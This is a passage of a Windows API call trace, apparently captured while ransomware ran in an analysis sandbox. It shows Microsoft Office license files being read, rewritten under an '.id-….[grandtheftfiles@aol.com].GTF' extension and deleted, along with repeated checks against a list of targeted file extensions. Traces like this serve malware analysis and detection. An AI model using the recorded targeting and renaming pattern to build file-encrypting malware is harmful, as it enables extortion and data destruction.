	[0176.404] ReadFile (in: hFile=0x570, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0176.406] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0176.407] ReadFile (in: hFile=0x570, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.407] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x114, lpOverlapped=0x0) returned 1
	[0176.407] SetEndOfFile (hFile=0x374) returned 1
	[0176.407] CloseHandle (hObject=0x374) returned 1
	[0176.407] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.407] SetEndOfFile (hFile=0x570) returned 1
	[0176.477] CloseHandle (hObject=0x570) returned 1
	[0176.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1
	[0176.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.600] lstrlenW (lpString=".doc") returned 4
	[0176.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.600] lstrlenW (lpString=".docx") returned 5
	[0176.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.600] lstrlenW (lpString=".pdf") returned 4
	[0176.601] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString=".xls") returned 4
	[0176.601] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString=".xlsx") returned 5
	[0176.601] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.601] lstrlenW (lpString=".ppt") returned 4
	[0176.601] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.601] lstrlenW (lpString=".zip") returned 4
	[0176.601] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString=".rar") returned 4
	[0176.601] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString=".bz2") returned 4
	[0176.601] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString=".7z") returned 3
	[0176.601] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.601] lstrlenW (lpString=".dbf") returned 4
	[0176.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.601] lstrlenW (lpString=".1cd") returned 4
	[0176.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.601] lstrlenW (lpString=".jpg") returned 4
	[0176.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.601] lstrlenW (lpString=".doc") returned 4
	[0176.601] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString=".docx") returned 5
	[0176.602] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.602] lstrlenW (lpString=".pdf") returned 4
	[0176.602] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString=".xls") returned 4
	[0176.602] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString=".xlsx") returned 5
	[0176.602] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.602] lstrlenW (lpString=".ppt") returned 4
	[0176.602] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.602] lstrlenW (lpString=".zip") returned 4
	[0176.602] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString=".rar") returned 4
	[0176.602] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString=".bz2") returned 4
	[0176.602] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString=".7z") returned 3
	[0176.602] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.602] lstrlenW (lpString=".dbf") returned 4
	[0176.602] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.602] lstrlenW (lpString=".1cd") returned 4
	[0176.602] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0176.602] lstrlenW (lpString=".jpg") returned 4
	[0176.602] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.602] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.602] lstrlenW (lpString="MondoVL_MAK-ppd.xrm-ms") returned 22
	[0176.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.716] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=12414) returned 1
	[0176.716] CloseHandle (hObject=0x540) returned 1
	[0176.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220
	[0176.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.717] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.717] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.717] GetLastError () returned 0x0
	[0176.717] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x307e, lpOverlapped=0x0) returned 1
	[0176.721] WriteFile (in: hFile=0x57c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x3080, lpOverlapped=0x0) returned 1
	[0176.722] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.722] WriteFile (in: hFile=0x57c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x100, lpOverlapped=0x0) returned 1
	[0176.722] SetEndOfFile (hFile=0x57c) returned 1
	[0176.723] CloseHandle (hObject=0x57c) returned 1
	[0176.723] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.723] SetEndOfFile (hFile=0x540) returned 1
	[0176.726] CloseHandle (hObject=0x540) returned 1
	[0176.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1
	[0176.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.727] lstrlenW (lpString=".doc") returned 4
	[0176.727] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.727] lstrlenW (lpString=".docx") returned 5
	[0176.727] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.727] lstrlenW (lpString=".pdf") returned 4
	[0176.727] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.727] lstrlenW (lpString=".xls") returned 4
	[0176.727] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.727] lstrlenW (lpString=".xlsx") returned 5
	[0176.727] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.727] lstrlenW (lpString=".ppt") returned 4
	[0176.727] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.727] lstrlenW (lpString=".zip") returned 4
	[0176.727] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.727] lstrlenW (lpString=".rar") returned 4
	[0176.728] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString=".bz2") returned 4
	[0176.728] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString=".7z") returned 3
	[0176.728] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.728] lstrlenW (lpString=".dbf") returned 4
	[0176.728] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.728] lstrlenW (lpString=".1cd") returned 4
	[0176.728] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.728] lstrlenW (lpString=".jpg") returned 4
	[0176.728] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.728] lstrlenW (lpString=".doc") returned 4
	[0176.728] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString=".docx") returned 5
	[0176.728] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.728] lstrlenW (lpString=".pdf") returned 4
	[0176.728] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString=".xls") returned 4
	[0176.728] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString=".xlsx") returned 5
	[0176.728] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.728] lstrlenW (lpString=".ppt") returned 4
	[0176.728] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.728] lstrlenW (lpString=".zip") returned 4
	[0176.728] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.728] lstrlenW (lpString=".rar") returned 4
	[0176.729] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.729] lstrlenW (lpString=".bz2") returned 4
	[0176.729] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.729] lstrlenW (lpString=".7z") returned 3
	[0176.729] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.729] lstrlenW (lpString=".dbf") returned 4
	[0176.729] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.729] lstrlenW (lpString=".1cd") returned 4
	[0176.729] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0176.729] lstrlenW (lpString=".jpg") returned 4
	[0176.729] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.729] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.729] lstrlenW (lpString="MondoVL_MAK-ul-oob.xrm-ms") returned 25
	[0176.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.730] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11576) returned 1
	[0176.730] CloseHandle (hObject=0x540) returned 1
	[0176.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220
	[0176.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.730] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.730] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0176.731] GetLastError () returned 0x0
	[0176.731] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0176.735] WriteFile (in: hFile=0x57c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0176.736] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.736] WriteFile (in: hFile=0x57c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x106, lpOverlapped=0x0) returned 1
	[0176.736] SetEndOfFile (hFile=0x57c) returned 1
	[0176.736] CloseHandle (hObject=0x57c) returned 1
	[0176.736] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.737] SetEndOfFile (hFile=0x540) returned 1
	[0176.856] CloseHandle (hObject=0x540) returned 1
	[0176.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1
	[0176.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.860] lstrlenW (lpString=".doc") returned 4
	[0176.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".docx") returned 5
	[0176.861] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.861] lstrlenW (lpString=".pdf") returned 4
	[0176.861] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".xls") returned 4
	[0176.861] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".xlsx") returned 5
	[0176.861] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.861] lstrlenW (lpString=".ppt") returned 4
	[0176.861] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.861] lstrlenW (lpString=".zip") returned 4
	[0176.861] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".rar") returned 4
	[0176.861] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".bz2") returned 4
	[0176.861] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".7z") returned 3
	[0176.861] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.861] lstrlenW (lpString=".dbf") returned 4
	[0176.861] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.861] lstrlenW (lpString=".1cd") returned 4
	[0176.861] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.861] lstrlenW (lpString=".jpg") returned 4
	[0176.861] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.861] lstrlenW (lpString=".doc") returned 4
	[0176.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.861] lstrlenW (lpString=".docx") returned 5
	[0176.862] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.862] lstrlenW (lpString=".pdf") returned 4
	[0176.862] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString=".xls") returned 4
	[0176.862] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString=".xlsx") returned 5
	[0176.862] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.862] lstrlenW (lpString=".ppt") returned 4
	[0176.862] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.862] lstrlenW (lpString=".zip") returned 4
	[0176.862] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString=".rar") returned 4
	[0176.862] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString=".bz2") returned 4
	[0176.862] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString=".7z") returned 3
	[0176.862] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.862] lstrlenW (lpString=".dbf") returned 4
	[0176.862] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.862] lstrlenW (lpString=".1cd") returned 4
	[0176.862] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0176.862] lstrlenW (lpString=".jpg") returned 4
	[0176.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.862] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.862] lstrlenW (lpString="O365BusinessR_Grace-ppd.xrm-ms") returned 30
	[0176.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0176.864] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=22400) returned 1
	[0176.864] CloseHandle (hObject=0x540) returned 1
	[0176.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220
	[0176.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
